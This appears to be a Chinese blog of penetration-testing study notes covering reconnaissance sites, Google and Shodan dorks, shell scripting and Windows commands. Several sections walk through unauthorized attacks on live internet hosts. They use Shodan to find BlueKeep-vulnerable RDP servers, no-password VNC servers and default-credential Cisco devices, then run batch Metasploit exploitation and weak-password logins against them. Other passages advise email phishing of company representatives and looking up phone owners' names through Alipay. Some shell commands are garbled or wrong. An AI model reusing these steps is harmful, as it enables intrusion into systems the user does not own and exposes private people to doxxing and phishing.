那些年日穿我的渗透知识
本文最后更新于4 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

信息收集(一)

收集思路

1、查看网路的CDN和被注册的一个信息

2、查看网站注册信息,网址为https://whois.aizhan.com

是一个很强大的情报分析网站,但是因为过于强大导致其商业化严重,不过,闲鱼上可以日租,倒也不是问题。

3、检查目标网站除了主站点后缀被注册过意外,还有哪些站点被注册过,是否和主站点有直接关系

4、如果后缀仅仅之注册了主站点的话,说明大概率是使用了大量的子域名

微步社区:用于查询一个网站的相关信息的网站https://x.threatbook.com

CDN加速:网站加速器->本质上就是一个反向代理

正向代理:主要针对的是客户端

客户端->代理->互联网->服务器

正向代理会接收客户端的请求,并将其转发到互联网上,完成真是请求,再返回客户端,代理会隐藏客户端的真实信息

反向代理:主要针对的是服务器,包括IP端口进行隐藏

客户端->互联网->反向代理->服务器

无论是正向代理还是反向代理,本质上都是访问代理服务器,区别就在于保护谁的匿名性

说回CDN加速:通过部署多个距离你IP地址很近的IP节点,通过这些节点去转发客户端的请求。

缺点:对于测试人员来说,可能会查询不到IP地址

查看目标网站的CDN情况:

win+R进入shell

nslookup+目标域名

若是回显的非权威应答IP地址只有一个的话,那大概率没有使用DNS加速,若是有多个IP,说明进行了CDN加速,可能会无法确认真实IP

注意:一定要能找到目标网址的真实IP

最后去进行目标网址的一个资产整理。

信息收集(二)

这节课主要是在一直目标站点的真实IP的情况下,利用各种情报搜集站点或者是工具,去对目标站点进行资产整理的一个思路。

各大情报站点:

国外情报网站:http://who.is

需要的就是目标站点的一个真实IP

若是目标站点存在国外的IP地址的时候,就可以使用这个站点。

缺点:对于国内的网站来说,搜寻具有限制性

腾讯情报查询https://whois.cloud.tencent.com

缺点:作为国内的大厂来说,管控比较严格,很多内容都遭到了限制,很多时候并不能得到什么有用的信息,但是依旧是可以用来充当情报搜集的一个工具

中国互联网信息中心https://ipwhois.cnnic.net.cn

这个相对来说,是个功能更强大的情报搜集站点,但是,很多信息具有迷惑性,在阿龙老师的课上,就出现了明显的情报不符合的特征,需要仔细比对

IP备案查询http://www.beianx.cn

这个可以用来搜寻站点的一个备案情况,可以得到法定人的邮箱或者是电话号码,以此通过邮箱钓鱼来获取信息

总结:通过各大情报集团的搜索引擎,尽可能地搜寻到有用的供给面。

最后,分享阿龙老师很这里的一句话,仁者见仁,智者见智,对待渗透测试,到最后比拼的就是谁更细心,谁更全面,不要小看任何一项技术。信息搜集,你就先搜集,不要管他有没有用,干就完事了。

信息收集(三)

这节课仍旧是通过利用各个情报搜集网站来对目标站点进行一个更深入的情报搜集。

天眼查https://www.tianyancha.com

情报搜集平台,可以查看到目标网址的一个端口信息,以及法定代表人的信息。

企查查:https://www.qcc.com/

可以查到目标站点的法定人的电话号码,企业的话大概率会是公用电话。

然后可以通过合同,采购记录,或者是招商信息等,可以查询到例如合作商的电话,企业电话等

电话的作用:打开支付宝,搜索一下这个电话号码,可以找到他的一个姓名

站长之家的SEO查询:https://whois.aizhan.com

Google、bing、baidu信息搜集

Google一般用于搜集一些敏感信息 ,需要配用上Google搜索语法

Google常用语法搜集

谷歌语法常用搜索参数:
site:
指定域名,如:site:edu.cn 搜索教育网站

inurl:
用于搜索包含的url关键词的网页,如:inurl:uploads 文件上传,搜索关于公司有关的网址中含有login的网页,

intitle:
搜索网页标题中的关键字,如:

intitle:“index of /admin” robots.txt

intitle:“robots.txt”

intext:
搜索网页正文中的关键字,如:intext:登陆/注册/用户名/密码

filetype:
按指定文件类型即文件后缀名搜索,如:filetpye:php/asp/jsp

cache:
已经删除的缓存网页,推荐组合使用

intext: 两个反斜杠身份证 intext:“电话在指定后缀 xlsx pdf docs等

指定inurl:xxx可能会发现额外资产

site:xx.com intext:管理|后台|登陆|用户名|密码|系统|帐号|admin|login|sys|managetem|password|username

site:xx.com inurl:login|admin|manage|member|admin_login|login_admin|system|login|user

查找sql注入漏洞
inurl:.php?id=23 公司

inurl:.asp?id=11

查找上传点:
site:xx.com inurl:file| uploadfile

查找敏感信息泄露
intitle:“Index of /admin”

intitle:“Index of /root”

intitle:“Index of /” +password.txt

intitle:phpinfo()或者inurl:phpinfo.php

查找未授权访问phpmyadmin
inurl:.php? intext:CHARACTER_SETS,COLLATIONS, ?intitle:phpmyadmin

常用语法:

1、domain= “qq.com” //搜索qq.com所有的子域名

2、host=“edu.cn” //从url中搜索edu.cn

3、ip= “11.1.1.1” //搜索ip

4、server=“apache” //搜索服务是apache的网站

5、os=“windows” //搜素操作系统是windows的网站

6、port=3306 或者 protocol==“mysql” //搜索mysql数据库的网站

7、app=“致远” //搜索致远oa办公系统搭建的网站,还可以搜设备,比如监控的

8、title=“登陆” //从标题中搜索登陆

9、header=“thinkphp” //从http的头里面搜thinkphp

参考原文:https://blog.csdn.net/qq_50589021/article/details/115377111

语法结合

site与intext/inurl/intitle联合使用
site:URL inurl:admin.php
site:URL intitle:后台
site:URL intext:后台

也可以使用bing或者是baidu,但是没有那么精准

GitHub源码泄露

通过github有可能可以搜寻到相关的站点代码片段

网络空间测绘

网络空间测绘可以对网络空间中的各种资源进行实时监测和分析,也是一个情报搜集的方向

FOFA:https://fofa.info/

也是直接输入目标站点的信息就可以返回出很多站点的相关信息

钟馗之眼:https://www.zoomeye.org/

shodanhttps://www.shodan.io/

nmap

nmap -sT + IP //可以查看目标网址的网址信息,通过对应的端口信息进行跳转,查看是否有可以利用的漏洞,同时可以查看后台的一个制作公司的信息
nmap -sT + 域名

信息搜集(四)

这节课主要讲的是信息搜集深度测试的一些插件和工具的使用

wappalyzer:用于获取目标站点的外部框架的一个信息,我们可以根据外部框架的版本去寻找到它的历史漏洞。

渗透思路:挖掘到的用户信息可以制作成字典去进行一个弱密码爆破,平台的制作公司也可以去寻找历史漏洞。

登录框hack思路:字典弱密码爆破,sql注入等

在线指纹识别平台:指纹扫描可以通过网上使用在线平台,扫描出来的信息需要进行验证,要对其保持怀疑的态度。

CMS(内容管理系统):CMS会有一个名为超级管理员的最高权限,可以当作是一种渗透思路。

WAF检测

nmap进行waf探测

namp -p80,443 --script=http-waf-detect +IP

XSS测试

可以在网络框上打一个普通的xss进行测试是否有回显,有的话可能存在xss注入。

后台查找

1、弱口令查找:admin , admin/login.asp , manage , login.asp

2、查看网页链接

3、查看网站的图片属性

4、查看网站使用的管理系统,也就是CMS

5、用工具查找:wwwscan,御剑,爬虫,intrllitamper

查找工具推荐:铸剑,可以在github上下载

面对大资产公司,我们的目标主要是一些防御较弱的边缘资产,通过边缘资产去进行一个渗透。

社工:没有讲,讲了后续再补充

shodan(一)

shodan是一个功能十分强大的专门搜索网络设备的搜索引擎

网址:https://www.shodan.io

工作原理:在服务器上部署了各种各样的扫描器

优点:方便快捷

缺点:不够实时

shdan在kali机中的安装

因为我的kali机不能出网,所以我直接去github上面下载文件然后保存到kali机里头,效果是一样的

github网址:https://github.com/achillean/shodan-python

cd hodan-python-master //进入文件目录

python setup.py install //安装

shodan init api_key //初始化

shodan -h //查看shodan命令

key值连点右上角两次,就可以看到

这里可以给大家一点路子,因为shodan是要开会员的,可以去某🐟上看看,说不定会有惊喜。

shodan常用过滤命令:

  • hostname:搜索指定的主机或域名,例如 hostname:”google”
  • port:搜索指定的端口或服务,例如 port:”21″
  • country:搜索指定的国家,例如 country:”CN”
  • city:搜索指定的城市,例如 city:”Hefei”
  • org:搜索指定的组织或公司,例如 org:”google”
  • isp:搜索指定的ISP供应商,例如 isp:”China Telecom”
  • product:搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”
  • version:搜索指定的软件版本,例如 version:”1.6.2″
  • geo:搜索指定的地理位置,参数为经纬度,例如 geo:”31.8639, 117.2808″
  • before/after:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15″
  • net:搜索指定的IP地址或子网,例如 net:”210.45.240.0/24″

国家代码

中国:.cn 日本:.jp 韩国:.kr

参考网站:https://m.taodocs.com/p-214021026.html

host和search参数的用法

shodan search --limit 10 country:jp  //搜寻十条日本ip
shodan search --limit 10 --fields ip,port country:jp //--fields 就是一个筛选信息,这里我们筛选了ip

以上命令不能扫出常规的类似127.0.0.1的ip,只能扫出数字ip

shodan search --limit 10 --fields ip_str,port country:jp

用这个命令就可以得到我们的一个正常样式的ip

shodan search --limit 10 --fields ip_str port:3389 country:cn city:shenzhen //这个代码指令就是用来搜寻中国深圳的端口在3389的10条ip

3389端口通常是Windows远程桌面服务的默认端口。是一个黑客经常利用的攻击目标

关于3389端口的危害:1、攻击者可能会通过暴力破解、字典攻击或是已知漏洞来获取远程桌面的访问权限

2、远程桌面会话中的数据传输如果没有被加密的话,容易被中间人攻击者截获

3、攻击者可以通过远程桌面会话上传恶意文件

shodan host +ip地址

host命令可以用于查看ip地址的信息

深色表示:--color

操作系统:os:windows7

漏洞:has_vuln:True

设备:摄像头:device:webcam

路由器:device:router

web端的一些设备
tp-link
shodan search  has_vuln:True --limit 10 --fields ip_str port:3389 country:jp //查找ip地址是否有相关漏洞

可以看到的是扫出来了相关的漏洞信息

shodan search --limit 10 --fields ip_str country:jp device:webcam //查找摄像头
shodan search --limit 10 --fields ip_str country:jp device:router //查找路由器
shodan search has_vuln:Ture --limit 10 --fields ip_str countery:cn tp-link//检测一定会有漏洞的web端设备

最后,请遵纪守法

shodan(二)

这节课讲的仍然是一个shodan的使用

CVE-2019-0708:Windows远程桌面代码执行漏洞

就是通过检查用户的身份认证,导致可以通过认证,不i用任何交互,直接通过rdp协议进行连续发送恶意代码执行命令到服务器中去。

原理:存在漏洞的远程桌面服务器,在接收到特殊数据包时会释放一个内部信道MS_T120的控制结构体,但并未将该结构体的指针删除,而且在远程桌面连接结束后还会调用MS_T120结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的MS_T120,并为结构体内的函数指针赋恰当的只,即可实现远程命令执行。

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' //十六进制字符串(类似于指纹的方式去找)

上面的这串字符串就是cve-2019-0708的十六进制漏洞特征

接下来就是利用拥有相关漏洞的ip进行复现

首先去查找拥有相关漏洞的ip,注意远程桌面连接的端口为3389

接下来打开远程桌面连接进行尝试

有一些是不行的,有一些是可以的,这里就不展示演示过程了

接下来的思路就是去用shodan host命令去看一下是否这个IP还有别的漏洞

可以看到的是,有特别特别多的漏洞以及远程桌面连接漏洞,(特别标注一下,有很多个漏洞的多半是蜜罐,要找就找那种只有目标漏洞或者是很少的漏洞的)

接下来,就是我们最喜欢的爆登录框

弱口令:账号:Administrator 密码:Administrator

批量扫描ip漏洞

1、将扫描到的ip打包到同一个txt文件里,这里要去除端口,

2、使用msfconsole工具

msfconsole是一款开源的安全漏洞检测工具,附带数千个已知的漏洞,并保持更新

3、search 0708(文件名)

4、运行use exploit/windows/rdp/cve_2019_0708_bl uekeep_rce

不绝对,通常得看

这个的文件路径是啥就是啥

5、show options

6、set rhosts file:拖入IP地址文件

7、check

有星号的话就相当于是没利用成功,有加号的话说明是利用成功了

要是攻击不成功的话,首先一个是排查show options中的payload端口是否填对,再一个就是察看show targets,它支持windows7,sever等,要设置正确

download参数

shodan download-h   //(查看帮助文档)

shodan download0708 --limit 100 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' //(删除掉过滤信息)

parse参数

parse是解析命令

shodan parse -h //(查看帮助文档)

shodan parse --fields ip_str +文件(直接拖就完事儿了)

关于16进制指纹特征的使用原因

正常来说可以使用

shodan search vuln:cve-2019-0708 

这个命令来搜索具有漏洞的ip,但是我们没有权限,因为只有高级用户或者是商家用户可以使用,因此我们要对其进行绕过

shodan(三)

shodan count ‘“\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”’ //查看shodan数据库里头一共有多少条这个漏洞

shodan honeyscore +ip地址  //可以一键判定是否是蜜罐(命令行有可能没用,不过可以直接去网页版搜索,效果一样)

shodan host +ip地址 --history 查看网页的历史数据,想要知道一个网站的ip地址可以尝试去ping一下

VNC空密码连接

vnc就是一个远程桌面连接软件,在使用vnc的时候都需要密码,而且要求密码必须6位以上,当vnc为空密码的时候仍然会跳出请求输入密码的弹窗,这个时候直接点击ok即可。相关的漏洞端口为:5900

shodan search --limit 30 --fields ip_str,port "authentication disabled" port:5900

就可以搜寻到许多拥有这个漏洞的ip地址,拥有这个漏洞的ip说明什么,说明我们可以直接去vnc远程控制它,这是一件很可怕的事情。当然扫描出来的信息有可能是有密码的,因为shodan并不是实时更新的。

shodan search --limit 30 --fields ip_str,port "authentication disabled" port:5900 country:jp //指定要扫描的国家

shodan download --limit 30 --fields ip_str,port "authentication disabled" port:5900 country:jp  //将扫描到的数据转换成文件下载下来

shodan(四)

这节主要讲的是搜索路由交换机和其他的一些信息,大多都是一些命令啥的

shodan mvip(查看自己的出口ip,哪个地址连接的公网)

查看已经被黑掉的网站

shodan search--limit 10 --field ip_str,port http.tilte:hacked by  //title就相当于查询网页里带有的关键字
shodan search--limit 10 --field ip_str,port http.tilte:hacked by country:cn //查看国内被黑掉的网站
shodan search--limit 10 --field ip_str,port http.tilte:hacked by country:cn city:shenzheng //精确到城市
shodan search --limit 10 --fields ip_str,port http.title:mysql
//查询mysql数据库相关关键词的ip地址
shodan search --limit 10 --fields ip_str,port http.title:后台
//查询有着后台关键词的ip地址

搜索一些弱口令

 shodan search --limit 10 --fields ip_str,port "cisco-authorized port:23" //cisco-authorized是未授权访问特征的意思,这个命令就是用来查找思科的一些弱口令设备
如果成功的话,那么就可以用思科的弱口令进行登录尝试,需要用到一些特殊的软件
//username:admin/cisco
//password:cisco

shodan(五)

这节主要讲的是shodan搜索网段

shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24 //搜索208.88.84网段下的ip

shodan search --limit 10 --fields ip_str,port org.nsa.gov has_vuln:true //nsa.gov就是国家安全局,has_vuln:true就是搜寻准确带有漏洞的ip

shodan search --limit 10 --fields ip_str,port hostname:google //搜寻谷歌

shodan search --limit 10 --fields ip_str,port country:cn http.waf:safedog //查找带有安全狗防护的中国IP

shodan search --limit 10 --fields ip_str,port country:cn http.html:login //检索html前端页面带有关键字的ip地址和title类似

shodan search --limit 10 --fields ip_str "Mongodb server information -authentication" port:27017 //查询关于Mongodb的未授权登录 ,数据库是必学的

Jenkings:组件

shodan search --limit 10 --fields ip_str "X-Jenkings" OR "Set-cookie:JSESSIONID" http.title:"Dashboard" //X-Jenkings意味着 搜索结果中要么包含这个响应头,要么包含Set-cookie:JSESSIONID

Jenkins 的主要作用

  • 自动化构建与部属:能自主从代码仓库获取代码并进行百年祭、打包等构建操作;可以把构建好的成果自动部署到不同环境中
  • 自动化测试:自动运行各种测试,如单元测试、集成测试等。
  • 任务管理:可设置定时任务,按特定时间自动执行工作。能管理任务间的依赖关系。监控任务状态,失效时通知相关人员,
  • 可扩展定制:有很多插件可满足不同需求,也讷讷感自行开发插件,自动测试,自动上线,自动回滚。

在渗透测试中的辅助作用

自动化测试:Jenkins可以通过编写任务,定期对目标系统进行安全测试,提高测试效率

持续集成与持续部署(CI/CD):在一些企业中,Jenkins被用于CI/CD流程中。渗透测试人员可以利用Jenkins的CI/CD流程,在开发和部署过程中进行安全测试,及时发现和修复安全问题

漏洞管理:Jenkins可以与漏洞管理工具集成给,帮助测试人员管理和追踪安全漏洞。

shodan(六)

根据漏洞指纹我们可以直接在shodan官网进行搜索,可以通过左上角看到有着这个漏洞指纹的ip一共有多少个,当然这肯定不是准确的,因为shodan并不是实时更新的

webcam:摄像头查询

任意点开一个网址可以查看其基本信息以及一些历史漏洞,还有开放端口、

很方便的一点就是,shdoan官网的话可以直接显示蜜罐的

monitor (shodan的一个模块,用来监控网站ip用的)

学术会员大概可以监控16个IP地址

manage(资产管理 添加要监控的网站)

上面这个是用来添加ip地址的,如果你想要添加域名的话,就要选中添加域

settings (设置通知邮件)

dashboard (现有监控的一些信息,如端口 漏洞 ip地址(存在cdn就会有多个网址))

shodan search --limit 10 --fields ip_str,port product:Apache httpd //查找阿帕奇的服务

shdoan search --limit 10 v--fields ip_str,port org:Tencent cloud //org:指定组织或公司

shodan(七)

shodan alert -h //查看配置ip监控的帮助文档,较为麻烦,能简单操作的事情就不要复杂化

shodan info //查看你查询的 扫描的一些次数 每个账户每个月都是有限制次数的

上面是可用的查询积分,下面是可用的扫描积分,一般是一积分十条

shodan domain +域名 //查询域名的工具


shodan scan -h //查看帮助文档


shodan scan list  //查看扫描信息

shodan scan submit  +ip //扫描ip

shodan stats --facets ssl.version country:cn has_ssl:true http //统计中国使用了SSL得的ip,并用版本做一个统计

一些常用端口

mysql——3306

HTTP——80

HTTPS——443

FTP——21

SSH——22

SMTP——25

POP3——110

IMAP——143

DNS——53

MySQL数据库服务器——3306

postgreSQL数据库服务器——5432

远程桌面协议——3389

TFTP——69

DHCP——67-68

NetBIOS端口——137-139

has_screenshot true cisco //截图搜索参数

Google语法

前面讲的已经很详细了,这里就不过多做介绍了。

shell编写(一)

vim创建文件

在命令框输入

vim +文件名

按i进行编辑

按ESC然后输入:wq!即可保存退出

就可以创建文件

三种解释器:#! /bin/bash #! /bin/dash #! /bin/sh 这三种最后调用的都是dash

运行创建的文件:./文件名

权限不足的问题

三种提权方法

第一种

chmod提权

chmod 777 +文件名  或者是

chmod u+x +文件名

第二种

解释器提权

sh +文件名
bash +文件名
dash +文件名

第三种

source提权 与上面没有什么太大差别,就是多加了颜色在出现多行命令或者文件的时候可能会好看一点
source +文件名

变量

linux的变量都用$符号来定义

name="xxxxxx";
echo $name;

即可直接输出name变量里头的内容

引号的区别

一般来说不加引号跟加了双引号的效果是一样的,都会输出变量

但是单引号的话,会将引号内的内容直接输出,也就是不会输出变量

如果字符串中出现了没有定义过的变量,则输出为空

或者也有这种情况

解决方法:第一种:将未定义变量用双引号括起来

第二种:将未定义变量用花括号括起来

不过后来经过测试的话,发现只要是个符号能括住未定义符号的两边,都能达到一样的效果,这里就不做展示了

变量是由数字、字符串以及下划线组成的,但是数字不能是开头,变量尽量不要有空格,需要空格时,用下划线代替

查看一定义变量:set |grep +变量名

删除变量:unset +变量名

shell编写(二)

这节主要讲的是临时变量和永久变量的建立

echo $HOME  //输出家目录

思考:为什么ls命令可以列出目录呢,ls算不算得上是一种变量呢

查看ls的环境变量

which --a ls  //ls在环境变量里头有个别名叫做auto

可以查看到其实ls确实是一个变量,它目录的位置是/user/bin/ls 或者是 /bin/ls

echo $PATH

回显:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools

查看输出结果:存在/user/bin目录,也就是说每当我们执行ls的时候,都会跳转到相对应的目录

建立临时变量

第一种方法:将建立的脚本文件转移到/user/bin目录下

vim 1.sh  //建立1.sh文件

mv 1.sh /user/bin  //将1.sh文件转移到目录下

转移后在终端上就能直接执行1.sh了

注意在转移过程中会遇到没有/user/bin的情况,这时候转移到/bin目录下就可以了

还有一点就是权限不足的问题,在/bin目录里提个权就完事儿了

第二种方法:直接把/root这个目录添加到环境变量中去

export PATH=/root:PATH

检验:echo $PATH

然后很搞笑的事情就发生了,你无论什么命令,前面都必须加上环境变量的目录,因为你已经把/root写进了环境变量

export:是一个用于设置环境变量的关键字,使得设置的变量可以在当前shell以及由该shell启动的子进程中生效

关于$PATH:这是一个非常重要的环境变量,它定义了系统在哪些目录下去寻找可执行文件。当你在命令行输入一个命令时,系统会根据PATH环境变量所指定的目录顺序去查找对应的可执行文件没找到后执行它。

/root:PATH:这是一个重新定义了PATH的值,/root:PATH相当于在原有的基础上,在前面添加了新的部分(/root)

设置永久变量

export:只能设置临时变量,我们只有把它写入到配置文件中才能生效

/user/bin/vi .bashrc  //编辑命令:export PATH=/root.PATH

source(变量生效,或者重启生效)

source /use/bin/ .bashrc

然后检查:自己写个文件,然后可以直接执行算作成功

临时变量和永久变量的区别

临时变量就是当你kali机命令框关掉之后就没有了

永久变量就是不管你怎么关,你下次要用的时候依然存在

字符串相关操作

输出字符串长度

echo ${#变量名} //输出字符串长度

echo ${变量名:0:6} //字符串截断,遵循[0,6)

Shell编程(三)

这节讲的是脚本传参

echo 执行的文件名是:$0
echo 第一个参数是:$1
echo 传递的参数作为一个字符串显示:$*
echo 传递的单数独立作为每个每个字符串显示:$@
echo 传递到脚本的参数个数是:$#
echo 最后命令的退出状态:$?
echo 脚本运行的当前进程ID是:$$

将这段脚本写入文件然后运行

那么当我们传入一个参数之后会发生什么呢

然后我们就会看到,第一个参数改变了,那么当我们连续传入多个参数的时候,会怎么样呢(记得修改1.sh里头的代码)

这时候就可以看到明显的变化,所以说我们的$n有什么用呢,很明显,就是用来指定参数的,第几个就用$几来表示

$*就是将参数当作统一的字符串显示出来,而$@是将每个字符串当作独立的字符串显示,这也是两者之间的区别,$#代表参数的个数,$?是查看命令执行状态的 如果显示为0 那么命令就是正常执行的,其他数字就是出错了,$$就是查看脚本当前进程的ID

在shell编程中进行数学运算

expr 5 + 10 (注意数字与符号之间要有空格隔开)

但是需要注意的一点是,这个仅仅只适用于加减除法,当使用乘法的时候会报错,因为*包含的指令太多了,这个时候我们就要对*号进行转义。

然后就是进阶版的混合运算

expr 5 + 6 \* 7 (遵循先乘除后加减的原则)

但是现在问题又来了,当我们需要加上括号的时候,我们就又会遇到报错,欸,这个时候,我们就又要转义括号了

expr \( 5 + 5 \) \* 7

所以说在shell编程中,运算是个很麻烦的事情

传参式计算

注意传参的时候,因为参数里头包含命令,所以不能使用引号来包裹,而应该使用反引号或者是$()来包裹命令,用于执行。

反引号(“ )和 $() 都是用于命令替换的机制。命令替换的作用是将命令的输出结果作为字符串返回,并可以将这个结果赋值给变量或者在其他地方使用。

Shell编程(四)

这节讲的是shell编程的if条件判断以及用户之间的交互原理的认识

我们市场在kal的登录界面中,需要进行密码的输入,对于这种交互过程,我们需要了解其原理

使用read命令来进行用户交互模拟

read命令用于从标准输入读取数值。

有点像是输入的意思吧,像是cin或者是scanf或者是input或者是Scanner

vim 1.sh
read -p "请输入你的姓名:" name
echo "您输入的姓名是:$name"
exit 0

建立好以后我们就能得到最简单的输入输出,然后我们再对其做if语句的条件判断,密码错误

-eq 相等
-lt 小于
-gt 大于
-ne 不等于
else 反转
只能对数值及逆行判断,无法对这个字符串进行判断

于是我们就要写一个判断脚本,脚本如下

num1=78
num2=89
if [ $num1 -eq $num2 ] ; then
    echo 相等
else
    echo 不相等
fi

78肯定不等于89,可以看到回显出不相等的字段

那么我们就可以尝试写一个非常简单的用户交互界面

然后我们尝试去运行就会发现功能是可以实现的

Shell编程(五)

Windows基础

这节讲的是关于windows系统的

linux: 一切皆文件

windows: 以驱动盘符起始,或通过目录挂载分区

路径区分:

Linux:通过 / (左斜线) ,区分大小写

Windows:通过 \ (右斜线),不区分大小写

系统配置

Linux:/etc和/proc (存储信息在目录)

Windows:注册表(存储信息在注册表)

windows四种shell接口

  • GUI 图形化用户接口,操作简单 (就是平时我们电脑上的操作界面)
  • cmd 命令行用户接口,包含一组预定义命令
  • wmic 微软基于wbem的实现,从21h1版本已经启用,被powershell替代了
  • powershell 自动化脚本框架,支持.net架构
  • wsl 在Windows上运行的子系统

cmd内置命令

cd \(切换到根目录)

help (查看cmd内置命令)

windows常用命令

cd 显示当前目录的名称或将其修改

cmd 打开另一个Windows命令解释程序窗口

copy 将至少一个文件复制到另一个位置

del 删除至少一个文件

dir 显示一个目录中的文件和子目录

echo 显示消息,或者将命令回显打开或者关闭

erase 删除一个文件或者多个文件

find 在一个或多个文件中搜索一个文本字符串

findstr 在多个文件中搜字符串

mkdir 创建一个目录

more 逐屏显示输出

move 将一个或者多个文件从一个目录移动到另一个目录

ren 重新命名文件

rmdir 删除目录

type 显示文本内容

attrib 显示或修改文件扩展名关联

bcdedit 设置启动数据库中的属性以控制启动加载

icacls 显示或修改文件的访问控制列表(acl)

chcp 显示或设置活动代码页数

comp 比较两个或者两套文件的内容

date 显示或者设置日期

diskpart 显示或配置磁盘分区属性

doskey 编辑命令行,撤回Windows命令

driverquery 显示当前设备驱动程序状态和属性

fc 比较两个文件集并显示他们之间的不同

fsutil 显示或配置文件系统配置

ftype 显示或者修改在文件扩展名关联使用的文件类型

gpresult 显示计算机或者用户的组策略信息

mklink 创建符号链接和硬链接

openfiles 显示远程用户通过文件共享打开的本地文件

path 为可执行问爱你显示或者设置搜索路径

set 显示 设置 或删除Windows环境变量

sc 显示或者配置服务

schtasks 安排一台计算机上运行命令和程序

shutdown 允许通过本地或远程方式正确关闭i计算机

start 启动单独的窗口以运行指定的程序或者命令

systeminfo 显示计算机的特定属性和配置

tasklist 显示包括服务在内的所有当前运行的任务

taskkill 终止正在运行的进程或应用程序

tree 树状图

time 显示或设置系统时间

tracert 网络路径追踪

文件导航系统

返回驱动根目录

cd\

cd..

大小写不敏感

type”space in title.txt”

查看系统隐藏文件

dir/A

查看系统隐藏文件

dir/s flag.txt

最近编辑的文件

dir/tw/od

系统标准目录

  • perflogs 储存Windows性能日志
  • program files 32位系统,储存32位程序,64位 储存64位程序。
  • program files 64位直通,储存32位版本程序。
  • programdata隐藏目录,包含全局程序数据,所有登录用户都访问这些数据
  • users 包含用户主目录
  • users\public 用户间共享文件,所有用户都有权访问
  • users\[username]\appdata 隐藏子目录,存储用户应用程序数据和设置
  • Windows、system,system32,syswow64

存储动态连接库文件,Windows和api的核心文件

xp,Windows server 2003

c:\documents and settings 早期一些xp系统的Windows主目录

系统以及环境

系统信息查询可视化

systeminfo

msinfo32

环境变量

c:\>echo %username%

c:\>echo %path%

c:\>echo %username%

c:\>echo %temp%

c:\>echo %userprofile%

c:\>set 当前命令行下的环境变量列出

查看名称以p开头的变量

set p

永久修改环境变量

setx var1 brand1

setx /s host1 /u domain\user /p pass var1 brand1

setx /s hopst1 \u domain\user /p pass mypath %path%

变量位置

hkey_current_user\environment

Windows基础(二)

常见端口对应的服务

21 ftp
23 tenlnet
80 web
80-89 可能是web
443 ssl心脏滴血漏洞以及一些web漏洞
445 smb
1433 msql
1521 oracle
2082/2083 cpanel 主机管理系统登录
2222 do虚拟主机管理系统登录(国外较多)
3128 squid代理默认端口-漫游内网
3306 mysql
3389 远程桌面
5432 postgreSQL
5900 vnc
6379 redis(未授权)
7001.7002 weblogic 默认若口临南海,反序列化
7778 kloxo 主机控制面板登录
8000-9090 一些常见的web端口没有写运维喜欢把管理后台开这些非80端口上面
8080 tomacat、wdcp主机管理系统、默认弱口令
8080,8089,9090 jboss
8083 vestacp 主机管理系统 (国外较多)
8649 ganglia

常见的cmd命令

  • echo 输出
  • echo /?(查看echo的帮助提示)
  • echo 1(输出1)
  • echo 1 >1.txt (输出1 并重定向1.txt文件)(这玩意儿是覆盖内容)
  • echo 456789 >>1.txt (把内容写入1.txt文件)(这个是加上内容)

2、dir (展示当前目录的文件)

3、d:c:等和cd

d:切换到d盘

cd:.进入到当前目录

cd ..回到上一级目录

cd /文件夹 (进入到某一个文件夹)

cd desktop(切换到桌面)

4、tree(文件树状图)

tree /?(查看帮助文档)

/f (显示每个文件中的名称)

/a (使用ascii字符,而不使用扩展字符)

tree C:\user\Administrator /f

tree C:UserAdministrator /a (在渗透测试中比较常用)

5、md创建目录和rd删除目录

md是mkdir的缩写

md kkk(在当前目录创建名为kkk的文件夹)

rd kkk (删除kkk文件夹)

tab 补全功能

6、ipconfig(显示当前的网络状态 ip配置 一般用这个命令查看本机的ip地址、排查网络问题)

7、cls(清屏)

8、copy(复制拼接文件)

copy /?(查看帮助文档)

copy 1.txt ..\1.txt(把文件1.txt复制到上级文件)

先利用cd..回退到上一级目录 再利用dir命令

查看文件

copy 1.txt desktop\2.txt(把admin文件中的1.txt复制到桌面并重命名为2.txt)

再说一个copy命令的使用方法

echo 123>1.txt
echo 456>2.txt
copy 1.txt+2.txt>3.txt

把1.txt的内容和2.txt的内容拼接起来 并重定向到3.txt并改名为3.txt

9、move(文件移动)

move ..\1.txt 4.txt (把上一级目录中的1.txt移动到副本级目录 并且重命名到4.txt)

10、ren (重命名)

ren 4.txt 5.txt(把4.txt重命名5.txt)

11.del(删除)

del 1.txt 2.txt 3.txt(删除1.txt 2.txt 3.txt)

这个命令所删除的文件是永久删除的不会进入回收站

12、ping(一般用于探测主机ip是否存在)

ping /?(查看命令帮助文档)

-t(一直ping)

13、type(显示文本文件的内容)

首先用echo 1111 >> 1.txt

type 1.txt(查看文件内容)

14、reg(注册表)

reg /?(查看帮助文档)

15、nslookup(探测域名信息)

nslookup www.baidu.com

nslookup -d www.baidu.com(查看历史解析记录)

16、find(查找)

find /?(查看帮助文档)

find "a" 1.txt (在1.txt中查找带a字段)

find /n "a" 1.txt (查找a参数的字段并排序行号)

type 1.txt | find "a" (查看1.txt的内容并输出带有a参数的字段)

type 1.txt|find "a" /n (查看1.txt的内容并输出带有a参数的字段并排序行号)

17、tasklist(任务列表 显示出当前的进程名称等信息)

18、taskkill(杀死进程)

taskkill /?(查看帮助文档)

一般采用-pid和-f -t

演示一下首先calc开启一个进程,先用tasklist查看进程,然后taskkill /pid 2824就可以看到进程杯杀死,加入遇到杀不死的进程就加一个/f参数即可

19、ver,winver(显示版本)

20、start (启动 开始命令)

例如 start cmd(打开cmd)

start calc(打开计算器)

start ping www.baidu.com -t(启动ping 并执行-t参数)

21、systeminfo(查看整个系统信息)

查看一些比较重要的信息,比如补丁信息,后期我们提权就是针对一些不同的修补程序进行一个提权

22、logoff(注销)

logoff /?(查看帮助文档)

23.shutdown(关机)

shutdown /?(查看帮助文档)

shutdown /s #在一分钟内关机

shutdown /a #计划取消

shutdown /r #重启

shutdown /g #在一分钟内关机

shutdown /r /t 0(-t设置时间 设置为0立即执行)

24、telnet(协议工具)

控制面板-程序-打开或关闭windows功能-telnet客户端勾选

25、arp(查看自己ip和物理机的映射关系表)

